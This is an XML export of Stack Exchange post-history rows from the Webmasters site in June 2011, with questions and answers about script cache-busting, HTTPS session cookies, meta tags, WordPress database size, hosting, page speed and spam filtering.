  <row Id="36285" PostHistoryTypeId="2" PostId="15369" RevisionGUID="f0624db4-7860-4ab4-bc04-3f95ebfc10ec" CreationDate="2011-06-15T11:40:09.020" UserId="8329" Text="    &lt;script&gt;&#xD;&#xA;    &#xD;&#xA;        var ts = new Date().valueOf();//creating timestamp&#xD;&#xA;        var newScript = document.createElement('script'); //creating script tag&#xD;&#xA;        newScript.type = 'text/javascript';&#xD;&#xA;        newScript.src = 'jquery-1.3.2.min.js?'+ts;// reference to jS with timestamp as a query string&#xD;&#xA;        document.body.appendChild(newScript);//appending it to dom&#xD;&#xA;        &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;Add this script tag to body. Every time JS will be updated a fresh file." />
  <row Id="36286" PostHistoryTypeId="18" PostId="15363" RevisionGUID="b0dcfdfe-75f6-40b1-8801-100a590070c8" CreationDate="2011-06-15T11:51:56.597" UserId="108" Comment="to http://webmasters.stackexchange.com/questions/15361/cheap-stock-images-website-per-image-pricing" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="36287" PostHistoryTypeId="18" PostId="15361" RevisionGUID="b0dcfdfe-75f6-40b1-8801-100a590070c8" CreationDate="2011-06-15T11:51:56.597" UserId="108" Comment="from http://webmasters.stackexchange.com/questions/15363/cheap-stock-images-website-per-image-pricing" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="36288" PostHistoryTypeId="14" PostId="15363" RevisionGUID="8f25112c-f9ab-49ae-beb9-e0a8b2e89bc9" CreationDate="2011-06-15T11:51:56.940" UserId="108" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="36289" PostHistoryTypeId="5" PostId="15361" RevisionGUID="c4531b6d-52c3-4ce6-bb16-0b0e7b92394e" CreationDate="2011-06-15T11:58:15.777" UserId="108" Comment="Cleaned up English" Text="I like the stock images and illustrations on istockphoto.com but they're kind of expensive because you have to buy a $18,50 package if you want one image that would cost $3 to $5 dollars, and the odd currency of the site makes me concerned.&#xD;&#xA;&#xD;&#xA;So is there any website where I can get per image pricing and a good price for it? Lots of designer in this website so someone might have found a good site I assume, not asking for a free stock images website I have a big list of those but a cheap and per item priced website where an image for web won't be over $5 (800px+)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="36290" PostHistoryTypeId="2" PostId="15370" RevisionGUID="48de0f29-d964-41a9-9355-16e51bba212e" CreationDate="2011-06-15T12:03:45.203" UserId="8130" Text="Keeping the session cookie secure is surely one of the biggest problems, if a site switches between secure and non secure pages. But that's only a problem, because most sites combine session handling and authentication. If you use the session cookie exclusively for maintaining the session, you can avoid this security risk:&#xD;&#xA;&#xD;&#xA;[Switching-between-http-and-https-pages][1]&#xD;&#xA;&#xD;&#xA;Although this solves the problem with the session cookie, the question remains, if the additional complexity is worth the saving of processor power for a full HTTPS site. Unfortunately it's difficult to get useful field reports and benchmarks of real scenarios. Big companies like Google where switching to full encryption, though it seems that they did a lot of optimizations before:&#xD;&#xA;&#xD;&#xA;[Overclocking-ssl][2]&#xD;&#xA;&#xD;&#xA;My personal opinion is, that for sites with low till moderate traffic you should avoid complexity and use HTTPS for all pages. If you have (or expect) a lot of traffic you can consider switching between HTTP and HTTPS.&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/5843305/switching-between-http-and-https-pages-with-secure-session-cookie&#xD;&#xA;  [2]: http://www.imperialviolet.org/2010/06/25/overclocking-ssl.html" />
  <row Id="36291" PostHistoryTypeId="2" PostId="15371" RevisionGUID="1781f7cf-48f0-4a65-8e73-1a164e915203" CreationDate="2011-06-15T12:21:20.310" UserId="233" Text="Most meta tags are completely useless:&#xD;&#xA;&#xD;&#xA;* **keywords** is not used in ranking by Google and has almost no value (if not zero value) in other search engines.&#xD;&#xA;* **description** *is* used by search engines but because SO's content is entirely user-generated it's impossible to include a relevant meta-description that doesn't just repeat what's already on the page.&#xD;&#xA;* **robots** should be replaced by the more reliable robots.txt.&#xD;&#xA;* **language** is [pretty much ignored][1] by search engines. Regardless, the correct way to specify language is to use the `lang` attribute.&#xD;&#xA;&#xD;&#xA;All the other tags are pretty much fluff that should either be set with HTTP headers (e.g. expires), visible on the page itself (e.g. copyright, author), or removed entirely (e.g. generator).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/5043/how-can-i-prevent-google-mistakenly-offering-to-translate-a-page/5073#5073" />
  <row Id="36292" PostHistoryTypeId="25" PostId="15362" RevisionGUID="13f662cc-ebce-4632-a70b-c643b431bc88" CreationDate="2011-06-15T12:22:32.080" Comment="http://twitter.com/#!/StackWebmasters/status/80973459219423233" />
  <row Id="36293" PostHistoryTypeId="5" PostId="15370" RevisionGUID="47771335-9536-4b31-95ca-9b5b4a6e615f" CreationDate="2011-06-15T12:30:45.310" UserId="8130" Comment="deleted 1 characters in body" Text="Keeping the session cookie secure is surely one of the biggest problems, if a site switches between secure and non secure pages. But that's only a problem, because most sites combine session handling and authentication. If you use the session cookie exclusively for maintaining the session, you can avoid this security risk:&#xD;&#xA;&#xD;&#xA;[Switching-between-http-and-https-pages][1]&#xD;&#xA;&#xD;&#xA;Although this solves the problem with the session cookie, the question remains, if the additional complexity is worth the saving of processor power for a full HTTPS site. Unfortunately it's difficult to get useful field reports and benchmarks of real scenarios. Big companies like Google were switching to full encryption, though it seems that they did a lot of optimizations before:&#xD;&#xA;&#xD;&#xA;[Overclocking-ssl][2]&#xD;&#xA;&#xD;&#xA;My personal opinion is, that for sites with low till moderate traffic you should avoid complexity and use HTTPS for all pages. If you have (or expect) a lot of traffic you can consider switching between HTTP and HTTPS.&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/5843305/switching-between-http-and-https-pages-with-secure-session-cookie&#xD;&#xA;  [2]: http://www.imperialviolet.org/2010/06/25/overclocking-ssl.html" />
  <row Id="36294" PostHistoryTypeId="2" PostId="15372" RevisionGUID="d4c90439-ced6-4b10-9797-c55b30c1f5a6" CreationDate="2011-06-15T13:25:02.713" UserId="1643" Text="If you put&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    grep $filename /var/log/apache2/ssl_access.log |grep -c $x | awk -F\&quot; '{print $6}' | sort -u &gt;&gt; /home/user/logs/usage&quot;$y&quot;.txt &#xD;&#xA;&#xD;&#xA;before the `fi` that should put the browser information into the text file (and remove duplicate lines where they are the same) after the line with the count on it." />
  <row Id="36295" PostHistoryTypeId="17" PostId="15373" RevisionGUID="6f5036fb-91be-4484-959f-9c586eb8b6a4" CreationDate="2011-06-15T13:36:38.910" UserId="-1" Comment="from http://stackoverflow.com/questions/6357724/what-to-do-when-your-wordpress-database-is-too-large" Text="" />
  <row Id="36296" PostHistoryTypeId="17" PostId="15374" RevisionGUID="5f1c014e-a879-4c8a-b393-d06b6b0744a2" CreationDate="2011-06-15T13:36:38.910" UserId="-1" Comment="from http://stackoverflow.com/questions/6357724/what-to-do-when-your-wordpress-database-is-too-large" Text="" />
  <row Id="36297" PostHistoryTypeId="17" PostId="15375" RevisionGUID="7fcb4d53-b70b-485a-9bf4-c539214239b7" CreationDate="2011-06-15T13:36:38.910" UserId="-1" Comment="from http://stackoverflow.com/questions/6357724/what-to-do-when-your-wordpress-database-is-too-large" Text="" />
  <row Id="36298" PostHistoryTypeId="2" PostId="15374" RevisionGUID="4b164104-37c6-47ef-b5fd-a7bab54a63a3" CreationDate="2011-06-15T12:44:19.740" UserDisplayName="quis" Text="You may find that a lot of that space is being taken up by past revisions of posts. A plugin like [Delete Revision][1] is a good way of managing this bloat.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/delete-revision/" />
  <row Id="36299" PostHistoryTypeId="2" PostId="15375" RevisionGUID="ba837006-92e2-448f-aec6-cf42b3a8607f" CreationDate="2011-06-15T12:46:50.850" UserId="1297" Text="You have several options:&#xD;&#xA;&#xD;&#xA;1. delete revisions&#xD;&#xA;1. old comments (say's older than N months)&#xD;&#xA;1. buy bigger plan (or VPS)." />
  <row Id="36300" PostHistoryTypeId="2" PostId="15373" RevisionGUID="8aa5efa6-6496-442e-8776-d06e7259e932" CreationDate="2011-06-15T12:33:22.167" UserDisplayName="9grams" Text="My WordPress site's database is nealy reaching 1GB which is the limitation of my host (GoDaddY), what should I do? I can't purchase a dedicated solution for it?&#xD;&#xA;&#xD;&#xA;There must be a way out to split this database into 2 or, another way , can we use 2 database into a single WP installation?&#xD;&#xA;&#xD;&#xA;What do you guys do on such case? Thanks." />
  <row Id="36301" PostHistoryTypeId="1" PostId="15373" RevisionGUID="8aa5efa6-6496-442e-8776-d06e7259e932" CreationDate="2011-06-15T12:33:22.167" UserDisplayName="9grams" Text="what to do when your WordPress database is too large ?" />
  <row Id="36302" PostHistoryTypeId="3" PostId="15373" RevisionGUID="8aa5efa6-6496-442e-8776-d06e7259e932" CreationDate="2011-06-15T12:33:22.167" UserDisplayName="9grams" Text="&lt;database&gt;&lt;wordpress&gt;&lt;godaddy&gt;" />
  <row Id="36303" PostHistoryTypeId="2" PostId="15376" RevisionGUID="a169166f-9989-46ec-8efa-37b2589373b4" CreationDate="2011-06-15T13:41:22.667" UserId="2545" Text="I suspect that my site is penalized by Google.&#xD;&#xA;&#xD;&#xA;Is there a way to check if it's true?" />
  <row Id="36304" PostHistoryTypeId="1" PostId="15376" RevisionGUID="a169166f-9989-46ec-8efa-37b2589373b4" CreationDate="2011-06-15T13:41:22.667" UserId="2545" Text="How to check if my site was penalized by Google?" />
  <row Id="36305" PostHistoryTypeId="3" PostId="15376" RevisionGUID="a169166f-9989-46ec-8efa-37b2589373b4" CreationDate="2011-06-15T13:41:22.667" UserId="2545" Text="&lt;google&gt;&lt;pagerank&gt;&lt;site-ranking&gt;" />
  <row Id="36306" PostHistoryTypeId="2" PostId="15377" RevisionGUID="240cdfa6-2102-461b-b64e-39bf5010a5ba" CreationDate="2011-06-15T13:44:38.790" UserId="1253" Text="Google will contact webmasters through their [Webmasters Tools][1] page to let them know there is an issue with their site. If you don't already have an account sign up for one and see if a message is there for you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/tools/home?hl=en" />
  <row Id="36307" PostHistoryTypeId="17" PostId="15378" RevisionGUID="78d1c740-57ef-474f-8883-8b3659bf053f" CreationDate="2011-06-15T13:55:40.180" UserId="-1" Comment="from http://stackoverflow.com/questions/6358684/high-quality-performance-shared-hosting-in-northern-europe" Text="" />
  <row Id="36310" PostHistoryTypeId="2" PostId="15378" RevisionGUID="6786459c-d121-4d82-a03b-e45190d76e8c" CreationDate="2011-06-15T13:45:44.267" UserDisplayName="Bente" Text="I work as a web developer on almost all levels. However, my typical customer is a 1-5 guys running some sort of consulting business. They have (or want) a web page with some kind of CMS so the can perform most (or all) editing themselves. I normally opt for Concrete5 as my default CMS because it's the most user friendly (and free) CMS I have found.&#xD;&#xA;&#xD;&#xA;My good recurring customers I host on my own server as a service, but I need a good host for the customers where I want to deliver a product and not be responsible for whatever may happen in the future. However, I still struggle with hosting! Experience shows that the typical ~1$ shared hosting is waaay to slow to run concrete5 smoothly, and a VPS is out of the question because I don't want to maintain it.&#xD;&#xA;&#xD;&#xA;So, where can I find as fast (from northern Europe), reliable, shared host where I can put a site and don't have to worry about the server going down or being unmaintained.&#xD;&#xA;&#xD;&#xA;I expect this should cost around $10-$20 but I'm open to all kinds of suggestions because different customers have different budgets." />
  <row Id="36311" PostHistoryTypeId="1" PostId="15378" RevisionGUID="6786459c-d121-4d82-a03b-e45190d76e8c" CreationDate="2011-06-15T13:45:44.267" UserDisplayName="Bente" Text="High quality/performance shared hosting (in northern Europe)" />
  <row Id="36312" PostHistoryTypeId="3" PostId="15378" RevisionGUID="6786459c-d121-4d82-a03b-e45190d76e8c" CreationDate="2011-06-15T13:45:44.267" UserDisplayName="Bente" Text="&lt;php&gt;&lt;performance&gt;&lt;web-hosting&gt;" />
  <row Id="36313" PostHistoryTypeId="2" PostId="15380" RevisionGUID="67ab08f0-0042-4878-ad68-e99d34676448" CreationDate="2011-06-15T13:55:47.130" UserId="7801" Text="I have a website - [Teamworks Design][1], is there any obvious ways in which I can improve the loading speed?&#xD;&#xA;&#xD;&#xA;At the moment it seems quite slow (we are on a fairly slow connection though).&#xD;&#xA;&#xD;&#xA;I know I'll need to optimize the images.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://teamworksdesign.com/v2/" />
  <row Id="36314" PostHistoryTypeId="1" PostId="15380" RevisionGUID="67ab08f0-0042-4878-ad68-e99d34676448" CreationDate="2011-06-15T13:55:47.130" UserId="7801" Text="Idea's to improve website loading speed?" />
  <row Id="36315" PostHistoryTypeId="3" PostId="15380" RevisionGUID="67ab08f0-0042-4878-ad68-e99d34676448" CreationDate="2011-06-15T13:55:47.130" UserId="7801" Text="&lt;optimization&gt;&lt;speed&gt;&lt;page-speed&gt;" />
  <row Id="36316" PostHistoryTypeId="5" PostId="15380" RevisionGUID="7462cb83-f0e7-4d8c-bb75-60f08815765a" CreationDate="2011-06-15T13:57:49.923" UserId="1253" Comment="deleted 24 characters in body" Text="I have a website, is there any obvious ways in which I can improve the loading speed?&#xD;&#xA;&#xD;&#xA;At the moment it seems quite slow (we are on a fairly slow connection though).&#xD;&#xA;&#xD;&#xA;I know I'll need to optimize the images.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://teamworksdesign.com/v2/" />
  <row Id="36317" PostHistoryTypeId="2" PostId="15381" RevisionGUID="782a2257-d832-4937-b3cc-3866252a7bbb" CreationDate="2011-06-15T13:58:15.337" UserId="1253" Text="1. [Yahoo's tips for improving page sped][1]&#xD;&#xA;2. [Google's tips for improving page speed][2]&#xD;&#xA;3. If you're using PHP, [Google's tips for making PHP faster][3]&#xD;&#xA;&#xD;&#xA;Here's a basic list as comprised from Google's tips:&#xD;&#xA;&#xD;&#xA;- Leverage browser caching		&#xD;&#xA;- Specify image dimensions	&#xD;&#xA;- Avoid CSS @import	&#xD;&#xA;- Avoid bad requests	&#xD;&#xA;- Combine images into CSS sprites	&#xD;&#xA;- Defer parsing of JavaScript	&#xD;&#xA;- Enable Keep-Alive	&#xD;&#xA;- Enable compression	&#xD;&#xA;- Inline Small CSS	&#xD;&#xA;- Inline Small JavaScript	&#xD;&#xA;- Make landing page redirects cacheable	&#xD;&#xA;- Minify CSS	&#xD;&#xA;- Minify HTML	&#xD;&#xA;- Minify JavaScript	&#xD;&#xA;- Minimize redirects	&#xD;&#xA;- Minimize request size	&#xD;&#xA;- Optimize images	&#xD;&#xA;- Optimize the order of styles and scripts	&#xD;&#xA;- Prefer asynchronous resources	&#xD;&#xA;- Put CSS in the document head	&#xD;&#xA;- Remove query strings from static resources	&#xD;&#xA;- Serve resources from a consistent URL	&#xD;&#xA;- Serve scaled images	&#xD;&#xA;- Specify a Vary: Accept-Encoding header	&#xD;&#xA;- Specify a cache validator	&#xD;&#xA;- Specify a character set	&#xD;&#xA;- Defer loading of JavaScript	&#xD;&#xA;- Remove unused CSS	&#xD;&#xA;- Use efficient CSS selectors&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/performance/rules.html&#xD;&#xA;  [2]: http://code.google.com/speed/articles/&#xD;&#xA;  [3]: http://code.google.com/speed/articles/optimizing-php.html" />
  <row Id="36318" PostHistoryTypeId="5" PostId="15381" RevisionGUID="8f6d4495-8fc4-422a-9338-cac1afa8878f" CreationDate="2011-06-15T14:05:12.633" UserId="1253" Comment="added 313 characters in body; added 408 characters in body" Text="1. [Yahoo's tips for improving page sped][1]&#xD;&#xA;2. [Google's tips for improving page speed][2]&#xD;&#xA;3. If you're using PHP, [Google's tips for making PHP faster][3]&#xD;&#xA;&#xD;&#xA;Here's a basic list as comprised from [Google's Page Speed addon][4] (here's [Yahoo's][5]):&#xD;&#xA;&#xD;&#xA;- Leverage browser caching		&#xD;&#xA;- Specify image dimensions	&#xD;&#xA;- Avoid CSS @import	&#xD;&#xA;- Avoid bad requests	&#xD;&#xA;- Combine images into CSS sprites	&#xD;&#xA;- Defer parsing of JavaScript	&#xD;&#xA;- Enable Keep-Alive	&#xD;&#xA;- Enable compression	&#xD;&#xA;- Inline Small CSS	&#xD;&#xA;- Inline Small JavaScript	&#xD;&#xA;- Make landing page redirects cacheable	&#xD;&#xA;- Minify CSS	&#xD;&#xA;- Minify HTML	&#xD;&#xA;- Minify JavaScript	&#xD;&#xA;- Minimize redirects	&#xD;&#xA;- Minimize request size	&#xD;&#xA;- Optimize images	&#xD;&#xA;- Optimize the order of styles and scripts	&#xD;&#xA;- Prefer asynchronous resources	&#xD;&#xA;- Put CSS in the document head	&#xD;&#xA;- Remove query strings from static resources	&#xD;&#xA;- Serve resources from a consistent URL	&#xD;&#xA;- Serve scaled images	&#xD;&#xA;- Specify a Vary: Accept-Encoding header	&#xD;&#xA;- Specify a cache validator	&#xD;&#xA;- Specify a character set	&#xD;&#xA;- Defer loading of JavaScript	&#xD;&#xA;- Remove unused CSS	&#xD;&#xA;- Use efficient CSS selectors&#xD;&#xA;&#xD;&#xA;I strongly recommend using either Google's or Yahoo's page speed add-ons to test out your pages. It's fast and easy to do and offers clear guidance on how to improve your page speeds.&#xD;&#xA;&#xD;&#xA;**update**&#xD;&#xA;&#xD;&#xA;As recommended by Nick in the comments here are some more good resources and information:&#xD;&#xA;&#xD;&#xA; - Steve Souder's [tips][6] and [book][7]:  &#xD;&#xA; - [Facebook's go-to references when they first optimised their site][8]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/performance/rules.html&#xD;&#xA;  [2]: http://code.google.com/speed/articles/&#xD;&#xA;  [3]: http://code.google.com/speed/articles/optimizing-php.html&#xD;&#xA;  [4]: http://code.google.com/speed/page-speed/&#xD;&#xA;  [5]: http://developer.yahoo.com/yslow/&#xD;&#xA;  [6]: http://stevesouders.com/hpws/rules.php&#xD;&#xA;  [7]: http://stevesouders.com/blog/2009/04/23/even-faster-web-sites&#xD;&#xA;  [8]: http://facebook.com/note.php?note_id=307069903919" />
  <row Id="36319" PostHistoryTypeId="5" PostId="15376" RevisionGUID="735003d8-7b69-4621-bacf-e27c57f59c2e" CreationDate="2011-06-15T14:05:29.170" UserId="2545" Comment="added 574 characters in body" Text="I suspect that my site is penalized by Google.&#xD;&#xA;&#xD;&#xA;Is there a way to check if it's true?&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;About six months ago I submitted my site to various online catalogs/directories, submitted my software to download sites etc. Immediately after that all pages of my site lost PR (PR2 -&gt; PR0) and keyword rankings decreased.&#xD;&#xA;&#xD;&#xA;I thought it's a temporary issue, but since then PR haven't changed, keyword rankings too.&#xD;&#xA;&#xD;&#xA;Webmaster Tools don't show any messages. Sometimes there are warnings about inaccessible (404, Soft 404s) pages on the site that come and go, and couple of warnings about duplicate page titles (in online documentation for my software), though." />
  <row Id="36320" PostHistoryTypeId="2" PostId="15382" RevisionGUID="a21ceb2e-dc52-4ab7-b682-b2c604b2f09c" CreationDate="2011-06-15T14:09:36.473" UserId="8330" Text="I have setup a ticket system with email notifications of the responses. Every time to time, several customers stop receiving the email because their system labels it as SPAM.&#xD;&#xA;&#xD;&#xA;Is there a way to certificate the sender server or address is NOT spam so the receivers email system does not block it?&#xD;&#xA;&#xD;&#xA;My clients are not very IT savvy, so the solution should come from the source of the emails (my system).&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="36321" PostHistoryTypeId="1" PostId="15382" RevisionGUID="a21ceb2e-dc52-4ab7-b682-b2c604b2f09c" CreationDate="2011-06-15T14:09:36.473" UserId="8330" Text="How to avoid email responses get labeled as spam?" />
  <row Id="36322" PostHistoryTypeId="3" PostId="15382" RevisionGUID="a21ceb2e-dc52-4ab7-b682-b2c604b2f09c" CreationDate="2011-06-15T14:09:36.473" UserId="8330" Text="&lt;email&gt;&lt;spam&gt;" />
  <row Id="36323" PostHistoryTypeId="2" PostId="15383" RevisionGUID="ee1252f3-4d74-49f6-826a-cd2b2571f560" CreationDate="2011-06-15T14:11:11.963" UserId="1643" Text="Add this to the HTML tag at the top of each of your files:&#xD;&#xA;&#xD;&#xA;    &lt;html xmlns:fb=&quot;http://www.facebook.com/2008/fbml&quot;&gt;&#xD;&#xA;&#xD;&#xA;This comes from this page: http://www.addthis.com/features/facebook-like-button" />
  <row Id="36324" PostHistoryTypeId="5" PostId="15381" RevisionGUID="3872b564-a30e-4006-80b8-c0c7ed24b00b" CreationDate="2011-06-15T14:11:42.067" UserId="1253" Comment="added 6 characters in body" Text="1. [Yahoo's tips for improving page sped][1]&#xD;&#xA;2. [Google's tips for improving page speed][2]&#xD;&#xA;3. If you're using PHP, [Google's tips for making PHP faster][3]&#xD;&#xA;&#xD;&#xA;Here's a basic list as comprised from [Google's Page Speed addon][4] (here's [Yahoo's YSlow][5]):&#xD;&#xA;&#xD;&#xA;- Leverage browser caching		&#xD;&#xA;- Specify image dimensions	&#xD;&#xA;- Avoid CSS @import	&#xD;&#xA;- Avoid bad requests	&#xD;&#xA;- Combine images into CSS sprites	&#xD;&#xA;- Defer parsing of JavaScript	&#xD;&#xA;- Enable Keep-Alive	&#xD;&#xA;- Enable compression	&#xD;&#xA;- Inline Small CSS	&#xD;&#xA;- Inline Small JavaScript	&#xD;&#xA;- Make landing page redirects cacheable	&#xD;&#xA;- Minify CSS	&#xD;&#xA;- Minify HTML	&#xD;&#xA;- Minify JavaScript	&#xD;&#xA;- Minimize redirects	&#xD;&#xA;- Minimize request size	&#xD;&#xA;- Optimize images	&#xD;&#xA;- Optimize the order of styles and scripts	&#xD;&#xA;- Prefer asynchronous resources	&#xD;&#xA;- Put CSS in the document head	&#xD;&#xA;- Remove query strings from static resources	&#xD;&#xA;- Serve resources from a consistent URL	&#xD;&#xA;- Serve scaled images	&#xD;&#xA;- Specify a Vary: Accept-Encoding header	&#xD;&#xA;- Specify a cache validator	&#xD;&#xA;- Specify a character set	&#xD;&#xA;- Defer loading of JavaScript	&#xD;&#xA;- Remove unused CSS	&#xD;&#xA;- Use efficient CSS selectors&#xD;&#xA;&#xD;&#xA;I strongly recommend using either Google's or Yahoo's page speed add-ons to test out your pages. It's fast and easy to do and offers clear guidance on how to improve your page speeds.&#xD;&#xA;&#xD;&#xA;**update**&#xD;&#xA;&#xD;&#xA;As recommended by Nick in the comments here are some more good resources and information:&#xD;&#xA;&#xD;&#xA; - Steve Souder's [tips][6] and [book][7]:  &#xD;&#xA; - [Facebook's go-to references when they first optimised their site][8]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/performance/rules.html&#xD;&#xA;  [2]: http://code.google.com/speed/articles/&#xD;&#xA;  [3]: http://code.google.com/speed/articles/optimizing-php.html&#xD;&#xA;  [4]: http://code.google.com/speed/page-speed/&#xD;&#xA;  [5]: http://developer.yahoo.com/yslow/&#xD;&#xA;  [6]: http://stevesouders.com/hpws/rules.php&#xD;&#xA;  [7]: http://stevesouders.com/blog/2009/04/23/even-faster-web-sites&#xD;&#xA;  [8]: http://facebook.com/note.php?note_id=307069903919" />
  <row Id="36325" PostHistoryTypeId="5" PostId="15382" RevisionGUID="19077715-2599-40e8-91d8-dc872a8c26f0" CreationDate="2011-06-15T14:15:44.187" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How could I prevent my mail from being recognized as spam?](http://webmasters.stackexchange.com/questions/3728/how-could-i-prevent-my-mail-from-being-recognized-as-spam)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have setup a ticket system with email notifications of the responses. Every time to time, several customers stop receiving the email because their system labels it as SPAM.&#xD;&#xA;&#xD;&#xA;Is there a way to certificate the sender server or address is NOT spam so the receivers email system does not block it?&#xD;&#xA;&#xD;&#xA;My clients are not very IT savvy, so the solution should come from the source of the emails (my system).&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="36326" PostHistoryTypeId="10" PostId="15382" RevisionGUID="07bf1660-8d1e-436c-b38f-3c1353558ea7" CreationDate="2011-06-15T14:15:43.267" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="36327" PostHistoryTypeId="5" PostId="15378" RevisionGUID="9c9fc887-9464-4cbb-bee8-47772bfd3213" CreationDate="2011-06-15T14:16:27.620" UserId="1253" Comment="modified tags" Text="I work as a web developer on almost all levels. However, my typical customer is a 1-5 guys running some sort of consulting business. They have (or want) a web page with some kind of CMS so the can perform most (or all) editing themselves. I normally opt for Concrete5 as my default CMS because it's the most user friendly (and free) CMS I have found.&#xD;&#xA;&#xD;&#xA;My good recurring customers I host on my own server as a service, but I need a good host for the customers where I want to deliver a product and not be responsible for whatever may happen in the future. However, I still struggle with hosting! Experience shows that the typical ~1$ shared hosting is waaay to slow to run concrete5 smoothly, and a VPS is out of the question because I don't want to maintain it.&#xD;&#xA;&#xD;&#xA;So, where can I find as fast (from northern Europe), reliable, shared host where I can put a site and don't have to worry about the server going down or being unmaintained.&#xD;&#xA;&#xD;&#xA;I expect this should cost around $10-$20 but I'm open to all kinds of suggestions because different customers have different budgets. " />
  <row Id="36328" PostHistoryTypeId="6" PostId="15378" RevisionGUID="9c9fc887-9464-4cbb-bee8-47772bfd3213" CreationDate="2011-06-15T14:16:27.620" UserId="1253" Comment="modified tags" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;" />
  <row Id="36330" PostHistoryTypeId="17" PostId="15385" RevisionGUID="8cb8d7e8-4556-4ce8-82a8-4b4566b051bf" CreationDate="2011-06-15T14:33:10.120" UserId="-1" Comment="from http://stackoverflow.com/questions/6359183/blog-hosted-not-my-own-hosting-that-allows-syntax-highlighting" Text="" />
  <row Id="36331" PostHistoryTypeId="17" PostId="15386" RevisionGUID="21e048cb-bd58-4b4e-b894-d535568a5ea8" CreationDate="2011-06-15T14:33:10.120" UserId="-1" Comment="from http://stackoverflow.com/questions/6359183/blog-hosted-not-my-own-hosting-that-allows-syntax-highlighting" Text="" />
  <row Id="36332" PostHistoryTypeId="2" PostId="15386" RevisionGUID="789ae229-bcf4-489c-8fa6-3caee99a4e77" CreationDate="2011-06-15T14:21:36.853" UserDisplayName="Jordan Foreman" Text="is this what you're looking for? Its not necessarily a blog host, but I think it accomplishes what you want. http://code.google.com/p/syntaxhighlighter/" />
  <row Id="36333" PostHistoryTypeId="2" PostId="15385" RevisionGUID="8426c8c8-dad4-4442-aa37-a21f25cea8e2" CreationDate="2011-06-15T14:18:32.377" UserDisplayName="Johannes" Text="I want to keep a blog with useful code snippets for myself. I don't want to setup some website with blogging software or something similar.&#xD;&#xA;&#xD;&#xA;All I want is register with a blog site and be able to use syntax-highlighting. (like wordpress or google blog only with syntax-highlighting)&#xD;&#xA;&#xD;&#xA;any links ?&#xD;&#xA;&#xD;&#xA;thanks!" />
  <row Id="36334" PostHistoryTypeId="1" PostId="15385" RevisionGUID="8426c8c8-dad4-4442-aa37-a21f25cea8e2" CreationDate="2011-06-15T14:18:32.377" UserDisplayName="Johannes" Text="blog (hosted not my own hosting) that allows syntax-highlighting" />
  <row Id="36335" PostHistoryTypeId="3" PostId="15385" RevisionGUID="8426c8c8-dad4-4442-aa37-a21f25cea8e2" CreationDate="2011-06-15T14:18:32.377" UserDisplayName="Johannes" Text="&lt;blog&gt;" />
  <row Id="36336" PostHistoryTypeId="25" PostId="15380" RevisionGUID="b50f7784-c907-418e-9258-07496a770cc0" CreationDate="2011-06-15T15:22:33.703" Comment="http://twitter.com/#!/StackWebmasters/status/81018763750805504" />
  <row Id="36337" PostHistoryTypeId="5" PostId="15372" RevisionGUID="1e64bc26-a785-4bc8-97fc-e63d87bc2757" CreationDate="2011-06-15T15:23:40.490" UserId="1643" Comment="deleted 3 characters in body" Text="If you put&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    grep $filename /var/log/apache2/ssl_access.log |grep $x | awk -F\&quot; '{print $6}' | sort -u &gt;&gt; /home/user/logs/usage&quot;$y&quot;.txt &#xD;&#xA;&#xD;&#xA;before the `fi` that should put the browser information into the text file (and remove duplicate lines where they are the same) after the line with the count on it." />
  <row Id="36339" PostHistoryTypeId="2" PostId="15387" RevisionGUID="957b357b-8224-402f-8c19-69a789e4b28a" CreationDate="2011-06-15T15:44:51.250" UserId="4502" Text="I've been satisfied with &lt;a href=&quot;http://webfaction.com&quot;&gt;WebFaction&lt;/a&gt;(registered in England and Wales) for a while now. I moved a client's WordPress site that was bringing a MediaTemple grid account to a crawl over there, and it's never even stuttered." />
  <row Id="36340" PostHistoryTypeId="2" PostId="15388" RevisionGUID="ad20e598-ec41-4380-9bf9-cf91d9ee014a" CreationDate="2011-06-15T16:10:55.677" UserId="8331" Text="Ive used Drupal for every site I've made for the last couple of years. I guess Drupal is different things to different people, but what I love is the power it gives me without having to write code. The combo of CCK, Views, Rules, Roles allows me to do almost everything ive ever needed, and ive got by without advanced development like hooks and custom modules.&#xD;&#xA;&#xD;&#xA;Im now learning ExpressionEngine for my companies website. It seems similar to Drupal in the way that by using code snippets (which isn't really coding) you can achieve some quite powerful things without having to be a full on developer.&#xD;&#xA;&#xD;&#xA;So my question is, given my aversion to coding but need for power, are their any other CMS's worth looking at? Its not that im not technical (Drupal is famous for its learning curve!), but im much more comfortable with a UI than writing too much code. &#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;" />
